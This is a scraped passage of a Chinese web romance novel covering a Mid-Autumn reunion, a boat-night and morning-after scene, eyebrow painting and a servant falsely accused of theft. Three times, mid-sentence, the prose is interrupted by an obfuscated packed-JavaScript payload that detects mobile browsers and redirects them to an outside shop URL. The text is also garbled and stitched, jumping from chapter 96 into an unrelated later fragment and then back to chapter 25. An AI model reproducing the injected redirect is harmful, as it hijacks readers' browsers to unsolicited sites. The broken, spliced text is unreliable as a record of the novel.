转眼便是中秋,从晨起到傍晚,也没有百里浔舟的只言片语传来,封眠压下心中失落,陪着王妃用了膳。 傍晚时分,王妃笑着催促封眠去街上看灯会,“街上热闹得很,阿琢早念着想让你瞧一瞧北疆的灯会了,你便去凑凑热闹。我年纪大了,走不动这许多路,就不陪你了。” 封眠本无心赏灯,但拗不过王妃好意,只得带上流萤雾柳几人出门。 长街上灯火如昼,人潮涌动。 身侧流萤和雾柳笑语连连,争着给她指街上最好看的花灯。封眠原本略有些低沉的心绪也被带的跃然了起来,只是心下时不时闪念:若是阿琢在就好了。 “郡主且瞧着吧,定是我先迎来那盏兔子灯!”流萤和雾柳较着劲去前面猜灯谜。 封眠便打算寻个避开人流的地方等她们,跟那个走两步,身侧人潮忽然汹涌起来,将身后护着的侍女冲散,一人轻轻撞过他的肩头。 她下意识转身,便见灯火阑珊处,一个戴着狐狸面具的男子静静立在她面前。 周遭喧阗人语隐去,煌煌灯火都在视野中模糊成一片绚烂绮丽的彩光,唯有他挺拔的身姿格外清晰。 他垂首,修长的指轻轻将面具向上推去,露于灯影之下的眉眼鼻唇皆是在脑海中描绘了多时的模样。 是百里浔舟。 封眠睁大了眼睛,还未惊呼出声,他已伸出食指轻轻抵在唇前:“嘘。” 百里浔舟自身后取出一张兔子面具,温柔地戴在封眠脸上,随即握住她的手,带着她逆着人流往外跑去。 风儿喧嚣,将嘈嘈人声尽数卷入身后。 远离热闹街市的静谧湖畔旁,泊着一艘乌篷船。 百里浔舟牵着方面上了船,牵着她走入船舱。 船内四处都铺着厚厚的软垫,小炉上温着黄酒,竟还蒸着两只通红的蟹。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16471523|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你什么时候偷偷准备的?你早就回来了?” 百里浔舟但笑不语,封眠假做气恼地轻捶了他一下,“母亲是不是也知道?” “这蟹还是我请母亲偷出来的,叫她将我好一顿骂。”百里浔舟龇牙咧嘴地告状。 封眠轻哼一声:“活该。” “我还不是想给你准备惊喜嘛。”百里浔舟将蟹取来摆好,又郑重地取出一套蟹八件来。 “我来吧。”封眠担心他不会吃蟹,正要上手,被百里浔舟轻轻推开手。 “这种麻烦事我来,你只要享受便好。我可是躲起来练习了好久如何拆蟹。” 他说着便开始拆蟹,动作虽然生疏,却十分到位,显然是用心学过了。 “蟹性寒,不能多用。”他将剥好的蟹肉仔细码在青瓷碟中,“只备了两只,你我一人一只。” 看着盘中越来越多的蟹肉,封眠笑:“这么厉害呀?” “你今日才知道我厉害吗?看来日后我还要努力才行。”百里浔舟絮絮地说着,“待到冬日,北疆飘雪结冰,很是漂亮,还有冰嬉赛,到时我带你去玩,你便看我替你赢下一局。” “那我可等着了。” 他又催促:“吃蟹可不能等,你快趁热尝一尝。” 封眠执箸尝了一口,他便眼巴巴地凑过来问“好吃吗?” 好似这蟹好不好吃,全看他拆蟹的手艺精不精湛一般。 封眠忍笑,点点头:“好吃。” 百里浔舟这下才算是放了心,拆完蟹,净过手,又执起温酒的小壶,倒了两杯温热的黄酒。 封眠接过其中一杯便要饮下,却被百里浔舟轻轻握住了手腕,“不是这样喝的。” “嗯?”封眠不解地看向他,喝黄酒还有什么讲究吗? 百里浔舟握着她的手腕抬起,带着她的手臂穿过自己举着酒杯的那只手的臂弯。 两人的距离因这个动作骤然拉近,衣袖相叠,呼吸可闻。 他垂眸温柔道:“大婚那日,你我未饮合衾酒。” 封眠微微一怔,眉眼轻动,微微弯了弯唇角,便顺着他的动作微倾身贴近,与他手臂交缠,饮下了一杯迟来的合衾酒。 乌篷船在湖上随着水波轻轻摇晃,百里浔舟将船舱内的东西尽数清到了船头,夜风钻入船舱内,卷去了残余的食物味道。 隔着撩起的船帘,封眠瞧见蔺蔺晃动的水波,“这船不会驶到什么奇怪的地方吧?” “不会,我提前试过了,它现在就会卡在芦苇荡中间,然后停下。” 随着百里浔舟话音落下,船身一震,果然便停住了。 封眠一呆,忙翻身跪坐起来,膝行两步到百里浔舟身侧,倾身越过他去撩起船帘向外看,入目果然一片茂密的芦苇,夜风轻拂,月光下似层层雪浪。 “竟真的是芦苇荡,你到底何时回来的,怎么还有空试船?”她仍对百里浔舟悄悄瞒着她回来,让她挂心一事耿耿于怀。 手撑着船壁正准备直起身,腰间忽然被轻轻抓了一下,痒得封眠下意识躲闪了一瞬,失去平衡,径直摔进了百里浔舟怀里。 百里浔舟张开双手,等着封眠“投怀送抱”,长臂一合,便将她环抱住了,“因为我想……” 他的声音在封眠耳畔低低的响起,带着一点气音,呼出的气息让耳垂散发出滚烫的热意,“给你一个难忘的夜晚……” 轻轻的一个吻落在了灼烫的耳垂上,封眠听见百里浔舟轻笑了一声,心下不服气,两手撑着他的胸膛支起身子,一口咬上了他的喉结。 听见他闷哼一声,被她压在身下的腿跟着一颤,她又担心咬得重了,飞快地亲了一下,“抱……” 吐出的音节还未成型,便觉一阵天旋地转,她已仰倒在软绵绵的垫子上,身下的船轻晃,细微的水流声像是贴着脑袋边流过去。 一只手捧起她的脸,细碎的吻落在她的眼睛、鼻梁和湿润的唇瓣之上,酥麻的痒意一路蔓延至指尖。 船内照明的夜明珠骨碌碌滚落,在百里浔舟眼底浸润出艳丽的光。 干燥的唇带着一点点的颤抖再次吻到封眠的耳侧,“可以吗?” 一个吻代替了所有的回答。 船外雨丝细如一场薄雾,笼在晃动的乌篷船上,船内的热气聚集着,轻轻一碰,便化作三两滴薄汗。 95. 第 95 章 晨风透过四面敞开的雕花窗棂潜入室内,柳寄雪坐在床边的矮凳上,指尖轻轻搭在封眠皓如冷月的手腕上。 她视线向旁轻轻一侧,便对上百里浔舟紧张兮兮的眼神。他站在一旁,薄唇紧抿,一副自己罪大恶极又如临大敌的模样。 “放心吧,郡主无碍。” 柳寄雪收回手,心下颇有些无奈。一大早百里浔舟派人火急火燎地来医馆找她,她还以为封眠出了什么事,吓了好大一跳,结果就只是…… 她悄悄瞪了百里浔舟一眼,转而不太赞同地看向封眠,意有所指地叮嘱道:“郡主日后莫要太纵着世子殿下了,凡事总需适度,于养生之道更是如此。” 封眠:“……” 百里浔舟:“……” 两人闻言,几乎是同时下意识地别开了脸。一层层绯色悄无声息地自脖颈处蔓延开来,迅速晕染过耳根,最终攀上了双颊。 柳寄雪仿佛未曾察觉这满室的尴尬,神态自若地收好了医箱,起身,“没有旁的事,我便先回医馆了,今日医馆还有许多病人要来复诊。” 她步履从容地背着医箱走了出去,徒将一室微妙的寂静留在了身后。 直到房门被轻轻带上,封眠才一把拉起锦被,将自己半张滚烫的脸颊埋了进去,只露出一双羞恼的明眸,瞪着床边的罪魁祸首:“都说我没事了,你还非要去喊阿雪来。” 百里浔舟在床沿坐下,挨着她,声音放得极低,恳切认错:“是我不好。我……我也不知她只是搭个脉,便什么都知道了……” 他顿了顿,找补道,“昨夜下了雨,湖上寒气重,我是真担心你受了凉。” 脸上的热气稍稍消退几分,封眠隔着被子闷闷地哼了一声。她在心里默默宽慰自己,反正两人早已是名正言顺的夫妻,这种事再正常不过,没必要如此羞赧。 她微微扬扬下巴,故意娇气地指挥起来:“给我倒盏热茶来。” 百里浔舟立即起身斟了一盏茶,小心吹了吹,确认温度适宜后,两手捧着茶杯递到了封眠的唇边。 封面就着他的手轻轻抿了一口温热的茶汤,这才抬眸正色问道:“你与小叔叔这几日可查出什么来了?” 百里浔舟的神色也肃然起来,在她身侧坐下,压低声音:“陈家在西边确实私下承包了一座矿山,具体位置还不太明确。寻常人冒着掉脑袋的风险包一座私矿能做什么呢?要么,他们图财,筹谋铸□□。要么更糟糕……” 百里浔舟的声音愈发低了几分,“是在私铸兵器。” 封眠心头一跳,私铸兵器总不能是为了武装自家的护卫队吧?朝廷并没有严禁刀剑的流通,豪门大院内养着的护卫们人手都能佩得一套刀剑,陈家又能有多少金银财宝需要如此来守护? 她心底只有一个可能性,那便是谋反。 封眠已经有许多时日没有想起梦中看过的那段史书了,如今那段记载着定北王世子谋反的文字再次浮现在脑海中,蓦地便让她联想到了陈家。 或许在史书记载的那一段未来里,因某些事而心生反意的定北王世子,便是受了陈家的鼓动? 难道谋反的火苗必然要从北疆燃起来吗? “眠眠?” 一声轻唤将封眠的神思拉了回来,她看向身侧的百里浔舟,他正一脸地看着她,垂落的额发柔软地搭在明亮眼眸的上方,整个人散发着柔软居家的气息。 “你怎么了?哪里不舒服吗?”他话说了一半便看见封眠的脸色一点点变白,漆黑的瞳仁失去了光彩,一片空茫,仿佛陷入了什么噩梦之中一般,顿时吓了一跳,半蹲在她身前,担忧地仰起头观察她的状态。 “没事。”封眠摇了摇头,抿起唇浅浅笑了一下,用力的动作让双唇多了几分血色,看起来没那么苍白,“只是突然联想到一些不好的事,那些事肯定不会发生的。” 对,距离史书记载的动乱的承平十六年还有四年多,如今他们就已经发现了陈家的阴谋,留给他们的时间还很多。事情早就因为她的梦,因为她的参与走向了不同的方向,那段简短的文字必然不会再成为现实。 不会再有人谋反,不会再有战乱。 冰凉的手心忽然一热,一张骨节修长的手挤进了她的掌心,与她牢牢交握,百里浔舟声音轻柔地安抚着她不安的心,“放心吧,有我,由父亲,还有小叔叔在,不会有事的。” 他眉眼飞扬,眼底尽是自信的笃定。 封眠用力地回握,点了点头。 “对了,小叔叔终于肯将他在北夷这么多年查到的东西告诉我了。”百里浔舟赶紧将剩下的消息说出来,让封眠的思绪得以转移,“他查出了几个可能和阿尔纳部私下有勾连的人……” 他说着,翻过封眠的手掌,用指尖在她掌心写下了几个字。 封眠有些怕痒地蜷了蜷指尖,却没有躲开,细细辨认着他写下的字。 “你在京中时日久,可知道这些人与罗家的关系如何?” 封眠凝神细思片刻,轻轻摇头:“据我所知,这几家与罗家在明面上并无往来。尤其是梁御史,他最好寻罗家人的错处弹劾,我曾听舅舅提起过他许多次,这是满朝皆知的事。” 百里浔舟眸色深沉,指尖无意识地在封眠掌心轻轻叩了叩,“要么,是他们埋得太深;要么,便是大雍不安分的,不止一股势力。” 他话音微顿,转而将另一只手覆上封眠的手背,温热的掌心将她微凉的指尖拢住,语气笃定:“不过无论如何,我们现下已然揪住了一角线头,连根拔起也只是时间问题。” 他摩挲着封眠的手背,不忘安抚着。 封眠却若有所思,目光不由自主地飘向床内暗格的方向。她将离京时舅舅给她的锦囊放在了那里面。她心下犹疑,眼下这般境况,算不算是遇到了“难处”?能不能拆开那枚锦囊? “好啦,别忧心了,若回头让小叔叔知道了,以后定要封我的口,不许我再与你悄悄通气。” 百里浔舟察觉到她的走神,抬手轻轻托住她的下颌,将她的脸转向自己,“母亲说,总是蹙眉,眉心要留印子的,我父亲眉心就有一道沟壑,你可莫要学她。” 他的指尖温柔地抚过她微蹙的眉间,故意拖长了语调,带着几分夸张的戏谑:“哎呀,你这里都有一道浅浅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16478330|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的纹路了,再多皱两次眉,怕是眉心就要……” 他话未说完,封眠便佯装恼怒,向前轻轻一顶,光洁的额头不轻不重地撞向他的指尖,打断了他未尽的调侃。 “就算眉心生出沟壑,那也是……”她抬起眸子,眼底水光潋滟,横了他一眼,“那也是为你操心所致,你合该负责到底才是。” 百里浔舟轻轻松开抵住她额头的手,倾身在她眉心落下浅浅一吻,语带笑意,“那就多谢郡主殿下给我这个荣幸了。” 封眠哼哼两声,抽出手摁着他的肩膀将他推远,指挥道:“那你现在先去把我妆奁最底下那个紫檀木的小礼盒取来。” 百里浔舟虽不明所以,还是依言行动,取来了一个精致的小盒子。 封眠将小盒子拿到自己手上,继续指挥他:“现在去把窗户关上。” 敞开的窗尽数被合上,明亮的光线被挡在了外头,屋内一下子便昏暗了许多。 “然后将床幔放下。”封眠继续吩咐,声音里带着几分神秘。 百里浔舟一面觉得奇怪,一面心跳莫名加快,眼看着床幔落下,遮住了封眠的身影,又听见她让自己坐进去,终于忍不住浮想联翩。 他一面想着柳寄雪才说过“医嘱”,此时实在是不好做些逾矩之事,一面又无法抗拒诱惑,心头怦怦乱跳地撩开床幔,坐到了封眠的身边。 眼前几乎完全暗了下去,只余床幔未拉紧的缝隙间还透进一点点微光。 封眠微微探身将那一点缝隙也拉紧了,这才将那个小礼盒递到他手中,催促道:“快打开看看。” 百里浔舟小心翼翼地打开盒盖,逐渐适应了黑暗的双眼依稀能看见柔软的丝绸衬垫上,静静躺着一个巴掌大的贝壳。贝壳表面有着细腻的螺旋纹路,在昏暗中泛着温润的光泽。 “这是......?”他疑惑地看向封眠。 封眠抿唇一笑,伸手轻轻将贝壳打开。霎时间,贝壳内部透出柔和的光芒,是一颗颗被打磨成珍珠大小,黏在贝壳内部的夜明珠在发光。 光晕温暖而不刺眼,捧在手心中如同一轮小小的明月,瞬间便驱散了床幔内的昏暗。 “这是我亲手给你做的。”她声音轻柔,“你时常夜间外出,总有意外寻不到火源、光源的时候,有它在身上,你便不怕周身突然陷入黑暗,将自己置于险境了。” 柔和的光自下而上映在她的面颊之上,这应当是一个糟糕的光影角度,但她的眉眼如此温和,下颌线条流畅柔润,被莹莹珠光一照,仍然漂亮得令人心弦微动。 爱你的人看见你的弱点,只会担心它让你受伤,小心翼翼又绞尽脑汁地努力筑起保护的围墙。 百里浔舟只觉心口被什么填得满满的,他轻轻地将贝壳合上,光芒隐去,重又袭来的黑暗让双眼有一瞬如同目盲一般,什么也看不见,但因掌心的小灯和身侧陪伴的人,他一瞬也没有心慌。 黑暗中传来细微的衣料摩擦声,百里浔舟循着呼吸声,凑到了封眠的面前,轻轻呢喃:“谢谢你,我很喜欢。” 一个蜻蜓点水的吻落在不知是唇瓣还是脸颊的位置,“啵”的一声。 96. 第 96 章 十五的月亮十六圆,在十五这日缺席了一整日的人,也将十六一整日的时间都赔给了封眠。 清早收到了封眠送来的亲手所制的贝壳灯,百里浔舟便觉得自己昨夜准备得惊喜根本无法与之相配,都拿不到台面上来说。于是他望着封眠并未点妆也依然素净漂亮的脸蛋,忽然提议要为她描眉画唇,好生服侍一番世子妃。 封眠便就这么稀里糊涂地被哄到了梳妆台前坐下。 梳妆台后开着一扇小小的轩窗,院子里头静悄悄一片,流萤和雾柳带着所有侍女仆厮都避了出去,将整间藏弓院都留给夫妻两个,识趣儿的很。 窗格恰巧框住院中那株老槐树,枝叶尚且还繁茂着,,在秋光里舒展开一片浓荫。阳光被层叠叶片筛成细碎的金斑,轻盈落在梳妆台上,投下随风摇曳的婆娑树影。 一只骨节分明的手闯了进来,悬在妆匣内的各色眉黛之上,有些犹豫不决。百里浔舟一直觉得封眠的眉天然便生得很漂亮,无需过多描画,但又想起昨日她似乎是画了新妆,秀眉弯弯如弦月,很是衬仲秋佳节,心下一时痒痒的,也想描画一番。 “不然……眉毛还是算了吧?”封眠心下其实有些没底,他那双拿惯了刀枪斧钺的手,不会将她的眉毛画成什么粗豪模样吧? “没画过眉的话,很容易手抖画歪的。” 百里浔舟自信满满道:“放心,我常年习武,手稳的很,百斤长枪都握得稳,这小小的眉黛还能难住我不成?” 他说着,已自妆匣中挑出一锭螺子黛。他方才细细瞧过了,那么多眉黛里,唯这锭螺子黛的使用痕迹最重,可见平日常用。既是封眠喜欢用的,自不会出错。 他执起细毫眉笔,在螺子黛中染上黛色,然后便一手执眉笔,一手轻扶封眠的肩头。 铜镜是新磨的,清晰地映出他专注的眉眼与手上的动作。 封眠眼也不眨地盯着铜镜里百里浔舟手上的动作,决定一有不对经便立马叫停,孰料看他第一笔落下的动作便是以笔尖勾画眉尾轮廓,虽然生涩,但竟好似有些眼熟。 平日里偶尔雾柳给她画眉时,便是这般起手的。 百里浔舟平日里是不是没少偷看她梳妆? 封眠唇角微微翘起,却故意嗔道:“你很熟练嘛,是不是偷偷在外面练过手了?” 此话将执百斤长戟都不手抖的百里浔舟吓得差点将眉尾画飞出去,好冤枉地望向铜镜与她对视,“哪有你这般冤枉自家夫君的?” “这话传到外头去,我的清白还要不要了?小叔叔怕是立时便要提刀砍上们来了。” 百里浔舟没忍住,两指掐住封眠唇畔的脸颊肉晃了晃,“不许乱说话了。” “我错了我错了。”封眠连忙讨饶,“你快些画吧,再晚便不好去给母亲请安了。” “母亲说了,今日让我好生陪着你,不要去扰她清净。”百里浔舟说着,手重新抚上了她的脑后,轻轻固定着,好让自己施力,继续描眉。 “闭上眼别看。”察觉到通过铜镜落到自己身上一瞬不瞬的目光,他的声音有些发紧,“你盯着,我反倒紧张了。” “好好好,我不打扰世子殿下发挥了。”封眠听话得闭上眼,长睫卷翘。 百里浔舟描完右侧的眉,颇为满意地欣赏了一番,便去描左侧的眉,落笔前忽然想起封眠一直挺直腰背坐着,便问道:“累不累?腰酸吗?” 封眠脸颊飞上一抹斜红,“不累,你快画。” 百里浔舟想了想,干脆站到她身后去,按着她的肩头让她倚在自己身上,“这样你应当能舒服一些。” “这样怎么画眉?”封眠没忍住睁开了眼,仰着脑袋十分纳闷地看他。 百里浔舟微微倾身,两人倒错着视线交汇,他长臂一伸便将封眠整个环住,放出大话来:“就倒着画,我已经是熟手了,放心。” “熟手”百里浔舟就这样以一个诡异的姿势画完了左侧的眉,旋即放下手轻轻揽住封眠的后背,探身到正面去瞧自己的“杰作。” “不愧是熟手了,这次速度快多了。”封眠说着便睁眼要瞧瞧,结果一睁眼便对上百里浔舟放大的一张脸,愣了愣,“你做什么?” “等一下,你先把眼睛闭上,我还要改一改。”百里浔舟柔声哄着。 封眠狐疑地眯起眼,嘴上应着:“唔,好吧。” 她缓缓闭上双眼,在察觉身前遮挡的阴影消失后再猛地睁开眼,几乎是瞬间,百里浔舟握着眉笔的手以迅雷不及掩耳之势盖在了她的眼睛上。 “你怎么说一套,做一套,这样不信任我?”百里浔舟抢先告状,语气委屈。 “好吧好吧,我不看了。”封眠悻悻闭上眼,却听到百里浔舟将铜镜转了个方向的声音,“我都闭上眼了,你……” 她没忍住睁开一只眼,“你到底将我的眉毛画成什么模样了?” 百里浔舟垂眸,看着封眠清亮眼眸之上两条完全不对称的眉,一脸平静地哄骗:“自然是正常的模样,只是需要修一修。” “把眼睛闭上。” 微凉的指腹压了一下封眠睁开的那只眼的眼皮,封眠合上眼帘,再次陷入一片漆黑,只能感觉到一只手在自己的眉上擦了又擦,再用细豪笔轻轻划过,勾抹描补,如此往复两三次,一片湿漉漉的帕子覆上了眉。 “我忽然觉得,你还是不画眉时最好看。”百里浔舟的声调里暗藏着一丝不易察觉的心虚。 封眠好笑地双臂环胸,也不睁眼了,反正铜镜已被某人转了过去,什么也瞧不见,“你说什么便是什么吧。” 她就知道,这眉是画不成的。 “涂口脂吧,口脂显气色。”百里浔舟匆匆擦净了眉黛的痕迹,开始奔赴下一个流程,又一次踌躇了起来。 妆台上摆着十来盒口脂,颜色在百里浔舟看来大同小异,有几盒他甚至连深浅都比较不出来,若不是装着口脂的盒子不一样,他真要以为封眠买了几盒一模一样的口脂。 挑哪个好呢? 他略一思忖,依次拿起口脂细嗅起来,欣慰地确认每一盒口脂的味道确实都不一样。幸好他曾尝过,知晓封眠的口脂味道总是在变。 嗅到其中一盒略带桃红色的口脂时,他顿了顿,清甜的味道让他想起昨夜在鼻尖萦绕不散的那股味道。 就这个了。 他用手指蘸了些许口脂,轻慢地搽在封眠的唇上。指腹下的唇瓣柔软温热,涂抹间反复地感受着柔嫩的触感,微凉的指尖缓缓热了起来,百里浔舟有些心猿意马地略略加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她知道今日晚些时候,百里浔舟便又要走了,才不想将时间浪费在路上,也不想身边多出许多人来。 一只温热的手掌轻轻落在她发顶揉了揉,柔声哄她:“等这桩事了,我便将军务丢给姚知远,多陪你几日。” “北疆的天气冷得很早,到时说不定便能带你去冰嬉了。” 封眠心头忽然漫起的愁绪转瞬就散了,好笑道:“姚军师跟着你,可是吃苦头了。” 说话间,两人来到了院中的秋千架下。这秋千是封眠搬到藏弓院时,王妃特意命人比着雪月居样式新制的。 “你扶我一下。”封眠仗着百里浔舟在身边,提着裙摆踩上了秋千,打算站着打秋千,她跃跃欲试地叮嘱:“你推得高一些,最好是我站在此处,便能望见院子外头。” “那会不会有些太高了?你可莫要吓得哭鼻子?”百里浔舟说着,轻轻推动秋千,绣着红叶秋菊的绛色裙裾在风中飞扬。 秋千越荡越高,似乎一伸手便能触到枝头垂坠的那朵木槿花。 封眠趁着秋千荡到最高处伸出一只手去够,摘到花的瞬间,却一个不稳向前栽去。 风声掠过耳畔,她下意识闭上眼,摔进一个熟悉的温暖怀抱里。再睁眼时,便瞧见百里浔舟发白的脸,声音里带着未散的惊悸,“你怎么敢松手的?” 封眠笑吟吟地将手中木槿别在他鬓边,双臂攀在他颈侧,亲了亲他的唇,“我知道你会接住我的。” 身后秋千轻轻摇晃,发出吱呀声响。百里浔舟气恼地咬住她的唇,“不许再这样荡秋千。” “知道啦。” 尾音模糊地淹没在唇齿间。 25-30 第25章 庭院内,王府的下人们乌压压地列队站着,各个垂首缩脖,小心翼翼与左右的人交换视线,都还不知发生了什么事,要如此大动干戈地将众人聚于一堂。 正困 惑着,忽闻环佩轻响,眼角掠过两道华影。但见王妃携郡主自雕花连廊转出,众人慌忙低眉顺目地垂首,屏息以待。 王妃穿了件沉香色缠枝葡萄纹暗花绫褙子,下着十二幅浅碧马面裙,群门绣着通草水禽图,格外清雅秀丽。一头青丝绾作慵妆髻,单插一支银鎏金累丝藤萝挑心,左右各压一枚冻绿釉瓷蜻蜓,既显贵气,又格外温婉灵动。 她目光无波地扫了一眼众人,拍拍封眠的手,眼神示意将此事交予封眠处理,让她放心大胆地去办。 下首的几个管事见状皆是神色微妙。未来的世子妃还没过门,便要插手府中内务立威了。看来日后王妃很快就会将府中中馈交给世子妃执掌。 封眠冲王妃微微一笑,也有让王妃放心的意思,瞧着心中似已有成算了。 她上前一步,脑后束起碎发的杏红绒绳下缀着的小铃铛发出细微脆响。她今日穿得十分居家,上身米色交领短衫素净普通,葱白挑线裙的群面上绣着松鼠葡萄的俏皮花样,与王妃站在一处,瞧着像母女装一般。 也因此显得人稚嫩起来,底下有偷瞧的下人眼中不觉流露出两分轻视。 “今日府上丢了件要紧的东西,眼下时间紧迫,我希望诸位能积极配合。”封眠的声音并不如何严厉,是少女的脆爽,却自有一股令人众人洗耳恭听的威仪。 “大家皆在王府做工多年,我也希望此事最好不要闹得太大,能留些情分。若偷盗之人能自己主动站出来,看在他知错便改的份上,我也不会再追究此事。” 满场寂静,众人鸦雀无声地垂着首,只有一个半秃的脑袋犹豫地左右转了转。 “若有人能提供有效线索的,赏银十两。” 那半秃的脑袋立时跳出来高喊:“小的举报!是小厨房的槐花,是她偷走了即食汤饼” 站在最前头的槐花浑身一颤,她仓皇地看向封眠,胸膛几番起伏,仍是忍住了没说话。 来这儿之前,郡主遣人说过相信她,让她今日行事不要冲动。 封眠淡淡扫了那人一眼,“我还没说偷的是什么东西,你怎知是即食汤饼?” 那人一双鼠目沽溜乱转,下定了什么决心般咬牙道:“我、我亲眼看见的!所以知道她拿走了什么东西!” 槐花震惊扭头瞪他,终于是没忍住顶了一句:“你胡说!” 封眠神色不变,一双乌瞳定定地望着他,“你想清楚了再说,你当真亲眼所见?” 那人无端打了个抖,心下嘀咕这郡主瞧着年纪不大,通身的气派却是唬人。他往身侧瞟了一眼,定了定神,坚定道:“没错,亲眼所见!郡主不信,可以问吴买办,吴买办也瞧见了!” 他说着侧首看向吴买办,“吴买办,你就别替槐花包庇了,看在你大义灭亲的份上,郡主想必也会对槐花高抬贵手的。” 槐花和吴婶都不敢置信地看向吴买办,吴买办脸上满是宿醉的浮肿潮红,他惺惺作态地用那双浑浊的眼看向槐花,“槐花啊,爹也是为了你好,不能看着你一错再错啊!” 他向前出列,痛心疾首道:“回郡主,小人确实亲眼看见槐花偷了东西。她说郡主做的这即食汤饼能卖大价钱,眼瞅着郡主要开作坊做汤饼,如今库里这几个即食汤饼便是丢了也不打眼,就生了这不该生的心思!” “小人没教好女儿,竟让她做出如此错事,请郡主责罚!” “我根本没有这么么说过!你骗人!”槐花气得浑身发抖,想要冲过去却被吴婶紧紧拉住。 吴买办梗着脖子:“郡主请人去这小贱人屋里头一搜便知!” 封眠看了雾柳一眼,雾柳会意离去。 “你知晓若偷盗做实,便要先鞭三十,再处墨刑吧?”封眠看向吴买办,一字一句地问道。 众人闻言皆露出不忍的神色来。 吴婶亦是痛呼:“当家的,你莫要胡言啊!若是身上刺了字,槐花这辈子可就全完了!” “你喊我有什么用!跟你闺女说别干这种事啊!”吴买办丝毫不为所动地吼回去。 他打定了主意,人证物证俱在,槐花这丫头绝对糊弄不过去! 吴婶只能转头抱住槐花,殷殷切切地劝着:“花儿啊,郡主说了主动承认可以网开一面,你快与郡主说你错了!” 槐花顿时不敢置信地看向抱着自己的人,浑身发抖,泪珠在眼底转了转,终是没忍住落了下来,“阿娘,你不信我?我没做过的事为什么要承认?!” “不管你做没做过,眼下都说是你做的!你能怎么办?等着被处刑吗?”吴婶又心疼又着急,她自然不相信自己的女儿会做出偷盗的事情来,可遇见了事,她的第一反应却也是息事宁人,最好快快将此事了结,哪怕担了这污名,能争取个宽大处理也是好的。 槐花不能理解,这么多年来阿娘一直忍气吞声,遇事就是忍忍忍,又落得什么好下场了?被人吃干抹净了还要自己主动奉献一切,期待着人家拿走了她的牺牲,就能对她施舍一点怜悯。 可凭什么啊? 凭什么她要为没做过的事低头? 眼见着闺女一声不吭就是不肯认罪,着急的吴婶扑通跪下了,“郡主,是我,是我偷的!” “阿娘!”槐花惊愕地看向自己的娘亲,又急又气,僵着身子站在原地,脊背挺得笔直,想去扶阿娘起来,却又不想弯下脊梁。 这当口,雾柳回来了,身后的仆役手上捧着装有即食汤饼的油纸包。 “郡主,东西都找到了。” 吴买办登时得意地扫一眼槐花和吴婶。 呵,这两个贱皮子以为抱上郡主的大腿,便能甩下他走了?没门! 昨夜他照例在外头喝了个痛快再回来,却听见槐花这贱丫头撺掇吴婶与他和离,跟她搬去雪月居。说什么郡主因为即食汤饼很赏识她,调了她去身边做活,日后她也能养活得起吴婶,保护好她。 吴买办脾气爆了这么多年,就这一晚上忍住了没有立时冲进去,反而去找了平日里的赌友商量了这么一招栽赃陷害之事。 待槐花顶了这污名,他便收几两银子把她卖出去做妾!省得日日在跟前碍眼! 吴婶的脸色惨白不已,她还兀自说着是自己干的,不要惩罚槐花的话,却是心慌手抖,眼泪成串地落。 槐花,她的槐花可如何是好? 槐花却是期盼地看着封眠,她相信郡主说的话,郡主信她,就一定不会让她这么被人污蔑! 封眠回了槐花一个让她安心的眼神,接着示意雾柳将发现的都说出来。 “奴婢确实是在槐花的屋中寻到了即食汤饼。” 吴买办急切地:“物证已在!槐花你还不快快认罪!郡主如此信任你,你怎么能……” “但是!”吴买办话未说完,便被雾柳扬声打断,她细长的眼中淬着冰冷的怒火瞪了吴买办一眼,吓得吴买办将话咽下,险些咬了自己的舌头。 雾柳继续道:“但是风甲和风乙都亲眼看见,是吴买办和刘大二人趁着天刚亮,避开众人,悄悄将即食汤饼偷走,放到了槐花的房间。” 众人顿时哗然,槐花眼前一亮,泪珠因欣喜而簌簌掉落。吴婶震惊又惊喜,踉跄着起身挽住女儿的手。 吴买办和那举报槐花的秃头刘大都面如死灰,吴买办尚嘴硬着:“怎、怎么可能,你们怎么能瞧见的?哪有这般巧的事?你们又怎么能确定就是我二人干的?” 封眠:“听说你之前就冲进小厨房,要对槐花动手,我便派了两个人暗中保护槐花。好巧不巧,恰好目睹你这一桩自导自演。” 风甲适时上前呈上两件衣裳,“这是属下尾随吴买办和刘大回屋后,看着他们换下的衣裳,上面沾有即食汤饼酱汁的味道,可做物证。” 刘大噗通便跪了,哭天喊地道:“郡主明鉴啊!小人是一时猪油蒙了心,被吴买办哄了去,才做下这栽赃陷害之事,小人再也不敢了!” 吴买办脸上的血色褪了个干净,两颊的肌肉不受控地抽搐着,冷汗如雨般滑落,瘫软在地,抖着嗓子道:“小人、小人只是……” “你只是见不得自己的妻女离了你,再不能任你予取予求随意打骂吧?”封眠嗓音淬了冰,冷冷瞥一眼吴买办,“如此人品低劣之人,岂配在王府任职?” 王妃已将来龙去脉听得明白 ,幸而封眠早就发现了府中有此恶人,一直着人暗中盯着,否则今日便要平白污了一名少女的名声,来日还不知会酿下何等的祸事! “郡主说得不错,来人,将此二人带下去,各鞭三十,结了近日的工钱,赶出府去!” 吴买办和刘大不住求饶,吴买办看向自己的舅父吴管事,求他帮自己说说话。吴管事避之不及,看也不看他,挥手示意仆役赶紧将他拖走。 